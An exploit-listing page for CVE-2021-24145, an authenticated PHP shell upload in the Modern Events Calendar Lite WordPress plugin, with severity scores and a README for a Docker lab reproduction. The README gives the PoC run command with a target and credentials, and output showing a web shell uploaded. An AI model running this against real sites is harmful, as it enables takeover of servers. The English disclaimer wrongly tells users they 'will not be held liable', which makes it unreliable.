Exploit for Unrestricted Upload of File with Dangerous Type in Webnus Modern Events Calendar Lite

CVE-2021-24145

githubexploit · 2021-08-14

Description

Exploit for Unrestricted File Upload in Modern Events Calendar Lite plugin for WordPres

Entry point

Parameterfeed · path

Pathwp-admin/admin.php?page=MEC-ix&tab=MEC-import

Authenticated arbitrary PHP file upload via MEC-import endpoint using multipart/form-data with content-type text/csv, enabling remote code execution when uploaded PHP shell is triggered from /wp-content/uploads/.

Affected Webnus Modern Events Calendar Lite versions

Webnus Modern Events Calendar Lite< 5.16.5

All known vulnerabilities by product

Modern Events Calendar Lite

CVSS 7.2 for CVE-2021-24145

7.2

HIGH SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:HIGH

User Interaction:NONE

Scope:UNCHANGED

Confidentiality:HIGH

Integrity:HIGH

Availability:HIGH

Working code

100%confidence this exploit runs

Based on 3 file(s) in the source

EPSS Score

88.2%higher than 99.7% of all CVEs

Updated 2026-06-16

Exploit Details

Modified:2025-04-14 03:07

Last Seen:2025-08-31 20:58

Reporter:dnr6419

Other exploits for CVE-2021-24145

WordPress Modern Events Calendar Remote Code Execution

2021-07-26 Ron JostPACKETSTORMRuby

WordPress Modern Events Calendar Remote Code Execution Exploit

2021-07-26 metasploitZDTRuby

Wordpress Plugin Modern Events Calendar - Authenticated Remote Code Execution

2021-07-26 Nguyen Van Khanh, Ron Jost, Yann Castel (yann.castel <Yann Castel (yann.castel@orange.com)>METASPLOITRuby

Wordpress Plugin Modern Events Calendar 5.16.2 - Remote Code Execution (Authenticated)

2021-07-02 Ron JostEXPLOITDBPHP

WordPress Modern Events Calendar 5.16.2 Shell Upload

2021-07-02 Ron JostPACKETSTORMPHP

Wordpress Modern Events Calendar 5.16.2 Plugin - Remote Code Execution (Authenticated) Exploit

2021-07-02 Ron JostZDTPHP

Modern Events Calendar Lite < 5.16.5 - Authenticated Arbitrary File Upload leading to RCE

2021-01-29 khanhWPEXPLOIT

Exploit Code

README53 lines

## https://sploitus.com/exploit?id=A7E0CB1F-898C-551C-B6E7-E50EF94F99AB
# CVE-2021-24145
WordPress File Upload Vulnerability, Modern Events Calendar Lite WordPress plugin before 5.16.5
https://nvd.nist.gov/vuln/detail/CVE-2021-24145


# 설치 및 실행 순서

#### 1. WordPress 설치
설치를 진행할 때, docker-compose.yml 파일에서 포트포워딩을 진행해주시기 바랍니다. 
 $ docker-compose up  

#### 2. WordPress initial & Plugin installation
http://[web-server ip]:port/로 이동합니다.
기본적인 설치를 진행합니다.

[Plugins] -> [Add New] -> [Upload Plugin] 이동합니다. 
modern-events-calendar-lite.5.16.2.zip 을 업로드 및 설치합니다. 

아래 화면은 플러그인 설치가 완료된 모습입니다. 

설치가 완료되었으면 플러그인을 활성화 시킵니다. 
#### 3. PoC
python3 poc.py -T [URL] -P [PORT] -U [Path] -u [admin] -p [password]

 $python3 poc.py -T 172.30.1.48 -P 80 -U / -u 0ppr2s -p 123456

  ______     _______     ____   ___ ____  _      ____  _  _   _ _  _  ____
 / ___\ \   / / ____|   |___ \ / _ \___ \/ |    |___ \| || | / | || || ___|
| |    \ \ / /|  _| _____ __) | | | |__) | |_____ __) | || |_| | || ||___ \
| |___  \ V / | |__|_____/ __/| |_| / __/| |_____/ __/|__   _| |__   _|__) |
 \____|  \_/  |_____|   |_____|\___/_____|_|    |_____|  |_| |_|  |_||____/

                * Wordpress Plugin Modern Events Calendar Lite RCE

                * @Hacker5preme




[+] Authentication successfull !

[+] Shell Uploaded to: http://172.30.1.48:80//wp-content/uploads/shell.php

![image](https://user-images.githubusercontent.com/43310843/129433145-435ee861-ff32-459e-a15b-6ec19980cff4.png)

# 출처
https://github.com/Hacker5preme/Exploits/tree/main/Wordpress/CVE-2021-24145

# 주의 사항
#### 위 취약점을 불법으로 악용할 시, 법적 책임을 지지 않습니다.
#### If you illegally exploit the above vulnerabilities, you will not be held liable.
#### docker 버전을 최신화 해야 합니다.

Exploit Code

Share

Share on social media: